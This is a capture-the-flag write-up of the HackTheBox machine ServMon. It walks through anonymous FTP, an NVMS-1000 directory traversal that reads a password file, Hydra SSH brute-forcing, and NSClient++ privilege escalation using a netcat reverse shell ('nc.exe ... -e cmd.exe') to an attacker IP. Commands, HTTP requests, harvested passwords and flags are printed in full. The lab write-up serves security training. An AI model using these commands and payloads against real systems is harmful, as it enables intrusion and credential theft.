HTB: ServMon

Posted on 21 Jun 2020 in security • 7 min read

ServMon Card

This article is a writeup about a retired HacktheBox machine: ServMon publish on April 11 2020 by dmw0ng. This box is rated as an easy box. This box is really unstable and can be a pain as there is a lot of reset on public server. It implies an anonymous FTP, a Passwords.txt file and two exploits.

User part

Recon

Let us start as always by a nmap scan. As often with Windows Boxes, a lot of port are open. A few interesting services are up: * FTP on port 21 * SSH (for Windows) on port 22 * a Web service on port 80 * a Web service (with SSL) on port 8433

Here is the full nmap scan:

# Nmap 7.80 scan initiated Wed Apr 15 03:04:29 2020 as: nmap -p- -sSV -oN nmap 10.10.10.184
Nmap scan report for 10.10.10.184
Host is up (0.013s latency).
Not shown: 65515 closed ports
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
22/tcp    open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
80/tcp    open  http
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5040/tcp  open  unknown
5666/tcp  open  nrpe?
6063/tcp  open  tcpwrapped
6699/tcp  open  napster?
7680/tcp  open  pando-pub?
8443/tcp  open  ssl/https-alt
31336/tcp open  nagios-nsca   Nagios NSCA
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.80%I=7%D=4/15%Time=5E96B393%P=x86_64-pc-linux-gnu%r(NULL
SF:,6B,"HTTP/1\.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20text/ht
SF:ml\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n
SF:\r\n")%r(GetRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20tex
SF:t/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x
SF:20\r\n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20X
SF:HTML\x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/D
SF:TD/xhtml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.
SF:org/1999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\
SF:x20\x20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x2
SF:0\x20\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")
SF:%r(HTTPOptions,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/htm
SF:l\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\
SF:n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\
SF:x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xh
SF:tml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1
SF:999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x
SF:20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20
SF:\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")%r(RT
SF:SPRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\n
SF:Content-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n
SF:\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\x201\
SF:.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xhtml1-
SF:transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1999/x
SF:html\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x20\x2
SF:0<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x20\
SF:x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.80%T=SSL%I=7%D=4/15%Time=5E96B39B%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,E8,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocation
SF::\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\":{\"context\":\"ini://\${shared-path}/nsclient\.ini\",\"h
SF:as_changed\":false,\"type\":\"ini\"}}\]}\0\0\x20keyword\x20to\x20the\x2
SF:0message\x20you\x20can\x20use\x20two\x20syntaxes\x20either\x20\${")%r(H
SF:TTPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocumen
SF:t\x20not\x20found")%r(FourOhFourRequest,36,"HTTP/1\.1\x20404\r\nContent
SF:-Length:\x2018\r\n\r\nDocument\x20not\x20found")%r(RTSPRequest,36,"HTTP
SF:/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20found")
SF:%r(SIPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocu
SF:ment\x20not\x20found");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 15 03:14:06 2020 -- 1 IP address (1 host up) scanned in 577.24 seconds

FTP

Using firefox we can easily connect to the FTP service with an anonymous account.

Connecting to ftp

We found two files: * Users/Nadine/confidentiel.txt * Users/Nathan/Notes to do.txt

The first one contain the following:

Nathan,

I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadine

The second on contain some TODO list:

1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint

Therefore we know that there is a Passwords.txt file on Nathan's desktop and that there is two web services : NSClient and NVMS.

HTTP

On port 80 we found the NVSM web services with an authentication form.

NVMS 1000 authentication form

We look at the available exploit for NVMS and we found only one about a directory traversal.

kali@kali:~$ searchsploit NVMS
--------------------------------------- ----------------------------------------
Exploit Title                         |  Path
                                      | (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
NVMS 1000 - Directory Traversal        | exploits/hardware/webapps/47774.txt
OpenVms 5.3/6.2/7.x - UCX POP Server A | exploits/multiple/local/21856.txt
OpenVms 8.3 Finger Service - Stack Buf | exploits/multiple/dos/32193.txt
--------------------------------------- ----------------------------------------
Shellcodes: No Result

kali@kali:~$ cat /usr/share/exploitdb/exploits/hardware/webapps/47774.txt
# Title: NVMS-1000 - Directory Traversal
# Date: 2019-12-12
# Author: Numan Türle
# Vendor Homepage: http://en.tvt.net.cn/
# Version : N/A
# Software Link : http://en.tvt.net.cn/products/188.html

POC
---------

GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: 12.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

Response
---------

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

We fire up burp and make the same request as in the POC (changing the host obviously). We got the win.ini file.

We then change our request to get the content of the Passwords.txt file on Nathan's desktop which give us seven passwords.

GET /../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt HTTP/1.1
Host: 10.10.10.184
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

HTTP/1.1 200 OK
Content-type: text/plain
Content-Length: 156
Connection: close
AuthInfo:

1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$

We try this passwords against the NVMS authentication form but without success.

SSH

As there is other services, we try our seven password against the SSH service. We have two users nathan and nadine. Using hydra we easily find the creds for nadine's SSH account.

kali@kali:~/pown/htb_servmon$ hydra -l nathan -P pass ssh://10.10.10.184
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-04-16 12:28:14
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 7 tasks per 1 server, overall 7 tasks, 7 login tries (l:1/p:7), ~1 try per task
[DATA] attacking ssh://10.10.10.184:22/
1 of 1 target completed, 0 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-04-16 12:28:19
kali@kali:~/pown/htb_servmon$ hydra -l nadine -P pass ssh://10.10.10.184
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-04-16 12:28:26
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 7 tasks per 1 server, overall 7 tasks, 7 login tries (l:1/p:7), ~1 try per task
[DATA] attacking ssh://10.10.10.184:22/
[22][ssh] host: 10.10.10.184   login: nadine   password: L1k3B1gBut7s@W0rk
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-04-16 12:28:35

We can the connect to the server using SSH and get the user flag.

kali@kali:~/pown/htb_servmon$ ssh nadine@10.10.10.184
Microsoft Windows [Version 10.0.18363.752]
(c) 2019 Microsoft Corporation. All rights reserved.

nadine@SERVMON C:\Users\Nadine>type Desktop\user.txt
e9aa044247ca285bb777782d7b0cfdfd

Root

For the root part we need to exploit the NSClient on port 8443 as there is a privilege escalation vulnerability.

kali@kali:~$ searchsploit NSclient
---------------------------------------------------- ----------------------------------------
Exploit Title                                      |  Path
                                                    | (/usr/share/exploitdb/)
---------------------------------------------------- ----------------------------------------
NSClient++ 0.5.2.35 - Privilege Escalation          | exploits/windows/local/46802.txt
---------------------------------------------------- ----------------------------------------
Shellcodes: No Result
kali@kali:~$ cat /usr/share/exploitdb/exploits/windows/local/46802.txt
Exploit Author: bzyo
Twitter: @bzyo_
Exploit Title: NSClient++ 0.5.2.35 - Privilege Escalation
Date: 05-05-19
Vulnerable Software: NSClient++ 0.5.2.35
Vendor Homepage: http://nsclient.org/
Version: 0.5.2.35
Software Link: http://nsclient.org/download/
Tested on: Windows 10 x64

Details:
When NSClient++ is installed with Web Server enabled, local low privilege users have the ability to read the web administator's password in cleartext from the configuration file.  From here a user is able to login to the web server and make changes to the configuration file that is normally restricted.

The user is able to enable the modules to check external scripts and schedule those scripts to run.  There doesn't seem to be restrictions on where the scripts are called from, so the user can create the script anywhere.  Since the NSClient++ Service runs as Local System, these scheduled scripts run as that user and the low privilege user can gain privilege escalation.  A reboot, as far as I can tell, is required to reload and read the changes to the web config.

Prerequisites:
To successfully exploit this vulnerability, an attacker must already have local access to a system running NSClient++ with Web Server enabled using a low privileged user account with the ability to reboot the system.

Exploit:
1. Grab web administrator password
- open c:\program files\nsclient++\nsclient.ini
or
- run the following that is instructed when you select forget password
        C:\Program Files\NSClient++>nscp web -- password --display
        Current password: SoSecret

2. Login and enable following modules including enable at startup and save configuration
- CheckExternalScripts
- Scheduler

3. Download nc.exe and evil.bat to c:\temp from attacking machine
        @echo off
        c:\temp\nc.exe 192.168.0.163 443 -e cmd.exe

4. Setup listener on attacking machine
        nc -nlvvp 443

5. Add script foobar to call evil.bat and save settings
- Settings > External Scripts > Scripts
- Add New
        - foobar
                command = c:\temp\evil.bat

6. Add schedulede to call script every 1 minute and save settings
- Settings > Scheduler > Schedules
- Add new
        - foobar
                interval = 1m
                command = foobar

7. Restart the computer and wait for the reverse shell on attacking machine
        nc -nlvvp 443
        listening on [any] 443 ...
        connect to [192.168.0.163] from (UNKNOWN) [192.168.0.117] 49671
        Microsoft Windows [Version 10.0.17134.753]
        (c) 2018 Microsoft Corporation. All rights reserved.

        C:\Program Files\NSClient++>whoami
        whoami
        nt authority\system

First of all we get the password for the NSClient and the content of nsclient.ini in order to see the access restriction. The application is only available from localhost.

nadine@SERVMON C:\>cd "C:\Program Files\NSClient++"

nadine@SERVMON C:\Program Files\NSClient++>nscp web -- password --display
Current password: ew2x6SsGTxjRwXOT


nadine@SERVMON C:\Program Files\NSClient++>type nsclient.ini
´╗┐# If you want to fill this file with all available options run the following command:
#   nscp settings --generate --add-defaults --load-all
# If you want to activate a module and bring in all its options use:
#   nscp settings --activate-module <MODULE NAME> --add-defaults
# For details run: nscp settings --help


; in flight - TODO
[/settings/default]

; Undocumented key
password = ew2x6SsGTxjRwXOT

; Undocumented key
allowed hosts = 127.0.0.1
<SNIP>

Then we upload nc.exe from /usr/share/windows-binaries using a python simple http server.

nadine@SERVMON C:\Temp>curl http://10.10.14.200:8081/nc.exe -o nc.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                Dload  Upload   Total   Spent    Left  Speed
100 59392  100 59392    0     0  59392      0  0:00:01 --:--:--  0:00:01  264k

We know that the NSClient is only available from localhost. So we mount an SSH tunnel (-D option) and use it as a socks proxy in our browser. Nevertheless the application is buggy and unstable from a web browser (either Firefox, Chromium or Chrome).

Therefore we use the NSClient API directly from our SSH connection (or we can use proxychains with our SOCKS tunnel) in order to put a simple script that will call our netcat binary.

nadine@SERVMON C:\Temp>curl -s -k -u admin -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/me.bat --data-binary "C:\Temp\nc.exe 10.10.14.200 443 -e cmd.exe"
Enter host password for user 'admin':
Added me as scripts\me.bat
nadine@SERVMON C:\Temp>curl -s -k -u admin https://localhost:8443/api/v1/queries
Enter host password for user 'admin':
[{"description":"Check status of scheduled jobs.","metadata":{},"name":"check_tasksched","query_url":"https://localhost:8443/api/v1/queries/check_tasksched/","title":"check_tasksched"},{"description":"Legacy version of check_tasksched","m
etadata":{},"name":"checktasksched","query_url":"https://localhost:8443/api/v1/queries/checktasksched/","title":"CheckTaskSched"},{"description":"External script: scripts\\me.bat","metadata":{},"name":"me","query_url":"https://localhost:8
443/api/v1/queries/me/","title":"me"},{"description":"External script: scripts\\rvsh.bat","metadata":{},"name":"rvsh","query_url":"https://localhost:8443/api/v1/queries/rvsh/","title":"rvsh"}]

Then we run a listener on our box and at the same time we call our command. This give a shell as administrator on the box and we are able to retrieve the root flag.

nadine@SERVMON C:\Temp>curl -s -k -u admin "https://localhost:8443/api/v1/queries/me/commands/execute?time=3m"
Enter host password for user 'admin':

kali@kali:~/pown/htb_servmon/srv$ sudo nc -l -p 443
Microsoft Windows [Version 10.0.18363.752]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Program Files\NSClient++>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
f16c1d179c239f4ffe2ea0821759198b

Wrapping up

What a pain. The box was really unstable on public servers. At the end the box is not really difficult.